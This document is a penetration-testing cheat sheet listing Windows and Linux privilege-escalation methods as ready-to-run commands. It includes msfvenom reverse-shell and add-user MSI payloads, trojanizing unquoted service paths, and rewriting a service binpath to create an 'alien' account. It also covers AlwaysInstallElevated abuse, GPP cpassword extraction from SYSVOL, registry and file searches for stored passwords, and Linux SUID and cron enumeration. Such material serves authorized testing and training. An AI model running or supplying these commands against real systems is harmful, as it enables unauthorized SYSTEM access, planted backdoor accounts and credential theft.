Windows Privilege Escalation Methods
Method #1: Metasploit getsystem (From local admin to SYSTEM)
To escalate privileges from local administrator to SYSTEM user:
meterpreter> use priv meterpreter> getsystem
getsystem uses three methods to achieve that, the first two using named pipe impersonation and the third one, using token duplication.
Method #2: Unquoted Service Paths
It happens when when a developer fails to enclose the file path to a service with quotes. File paths that are properly quoted are treated as absolute and therefore mitigate this vulnerability.
C:\Program Files\Some Folder\Config files\Service.exe
Windows would try to execute:
C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Config.exe C:\Program Files\Some Folder\Config files\Service.exe
So if we have write access on some target directory we can write a file on that directory:
icacls "C:\Program Files\Some Folder"
Search for: BUILTIN\Users: (OI) (CI) (M)
(M) stands for Modify for (unprivileged) users
For a full list of icacls output description:
icacls preserves the canonical order of ACE entries as: Explicit denials Explicit grants Inherited denials Inherited grants Perm is a permission mask that can be specified in one of the following forms: A sequence of simple rights: F (full access) M (modify access) RX (read and execute access) R (read-only access) W (write-only access) A comma-separated list in parenthesis of specific rights: D (delete) RC (read control) WDAC (write DAC) WO (write owner) S (synchronize) AS (access system security) MA (maximum allowed) GR (generic read) GW (generic write) GE (generic execute) GA (generic all) RD (read data/list directory) WD (write data/add file) AD (append data/add subdirectory) REA (read extended attributes) WEA (write extended attributes) X (execute/traverse) DC (delete child) RA (read attributes) WA (write attributes) Inheritance rights may precede either Perm form, and they are applied only to directories: (OI): object inherit (CI): container inherit (IO): inherit only (NP): do not propagate inherit (I): permission inherited from parent container
To know in which privileges is the service running (hopefully as SYSTEM):
wmic service get name,startname
Then we trojanize the service:
msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=$IP LPORT=443 -f exe -o Config.exe
And copy it to the folder we can write in:
copy Config.exe C:\Program Files\Some Folder\
And sit and wait to the machine to be rebooted OR:
shutdown /r /t 0
msf> use exploit/windows/local/trusted_service_path
To exploit it manually:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ sc $SERVICENAME stop & sc $SERVICENAME start
Method #3: Tokens
Take advantage of:
Method #4: Hard coded credentials
dir /s *pass* == *cred* == *vnc* == *.config*
findstr /si password *.xml *.ini *.txt
reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s
Method #5: Sensitive files on Desktop, Documents (xls, txt, )
Take a look here as well Intro to Post Exploitation to find commands to search for sensitive files and information.
Method #6: DLL injection / hijacking
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\KnownDLLs HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\SafeDllSearchMode HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\CWDIllegalInDllSearch
Method #7: Unattended installation files (Unattend.xml)
- Unattended installs that were not cleaned properly can be abused.
- Mainly in those directories:
dir C:\Windows\Panther\ dir C:\Windows\Panther\Unattend\ dir C:\Windows\System32\ dir C:\Windows\System32\sysprep\
In addition to Unattend.xml files, be on the lookout for sysprep.xml and sysprep.inf
msf> use post/windows/gather/enum_unattend
Method #8: GPP cracking
Group Policy Preferences (GPP) let you control computers in a number of ways. Think of them as unmanaged settings for your computers and users. It can be used also to set up accounts and/or passwords through the domain (i.e. same Administrator password to all the workstations of the domain).
These Group policy configuration files that could contain passwords (Groups.xml) are “encrypted” using a known AES key. And found in a shared folder inside the domain controller with read access to all domain authenticated users.
net use z: \\$IP\SYSVOL
SYSVOL is simply a folder which resides on each and every domain controller within the domain. It contains the domains public files that need to be accessed by clients and kept synchronised between domain controllers. The default location for the SYSVOL is C:\Windows\SYSVOL although it can be moved to another location during the promotion of a domain controller. It’s possible but not recommended to relocate the SYSVOL after DC promotion as there is potential for error. The SYSVOL folder can be accessed through its share \\domainname.com\sysvol or the local share name on the server \\servername\sysvol.
SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access.
By default there are two folders with a GUID name under ”C:\Windows\SYSVOL\domain\policies”, representing two group policies (GPO). In any new domain environment we always get two default GPO’s, Default Domain Policy and Domain Controllers Policy.
To update your GPOs:
To look your current assigned GPOs:
dir /s Groups.xml
Other attack vector, more direct:
findstr /S /I cpassword \\$FQDN\sysvol\$FQDN\policies\*.xml
Once we get the hashed:
In Windows, use PowerSploit function Get-GPPPassword:
Method #9: Weak services and bad permissions
Use AccessChk from sysinternals
Which Services can be modified by any authenticated user (regardless of privilege level):
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
List service parameters:
accesschk.exe -ucqv $SERVICENAME
Find all weak folder permissions per drive:
accesschk.exe -uwdqs Users c:\ accesschk.exe -uwdqs "Authenticated Users" c:\
Find all weak file permissions per drive:
accesschk.exe -uwqs Users c:\*.* accesschk.exe -uwqs "Authenticated Users" c:\*.*
Permissions on a specific folder:
accesschk.exe Builtin\Users c:\inetpub
Look at vulnerable service configuration parameters
sc qc $SERVICE
Locate interesting parameter, this is only an example
sc config $SERVICE binpath="net user alien alien /add" sc stop $SERVICE sc start $SERVICE
From metasploit (post module):
msf> use exploit/windows/local/service_permissions
Method #10: AlwaysInstallElevated ON
Allows any MSI executable be run as SYSTEM.
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msfvenom -p windows/adduser USER=rottenadmin [email protected]! -f msi -o rotten.msi msiexec /quiet /qn /i C:\Users\$USER\Downloads\rotten.msi
Another method with metasploit:
If the machine has the AlwaysInstallElevated registry flag on, then just:
msf> use exploit/windows/local/always_install_elevated
Method #11: Abusing scheduled tasks
schtasks /query /fo LIST /v
Method #12: Local exploits
msf> use exploit/windows/local/*
- Alternative methods of becoming SYSTEM https://blog.xpnsec.com/becoming-system/
Linux Privilege Escalation Methods
Most common techniques for privilege escalation in Linux environments:
Method #1: Find setuids
Sometimes in CTFs there are trojans hidden in the system with the setuid set. Look for any of those using find command:
find / -perm -4000 -ls 2> /dev/null
Method #2: Find world writable directories
find / -perm -777 -type d -ls 2> /dev/null
Method #3: Find world readable logs or backups
Many times Linux is very restrictive with the default permissions BUT sometimes sysadmins do not protect properly system backups, so you can easily extract sensitive system files such as /etc/passwd. Look for gz, tar o zip files is definitely worth it.
find / -name "*.[gz,tar,zip]" 2> /dev/null
Method #4: Check crontab tasks
Added scheduled tasks may contain some misconfigurations like for example, one script is run by root and it is writable for everybody
crontab -l ls -lR /etc/cron*
Method #5: Local exploits for kernel or applications
As part of your local enumeration information gathering, look for kernel versions, applications installed, daemons running in order to detect any old version with known exploits.
Take also a look into Intro to Post Exploitation for more tools and techniques.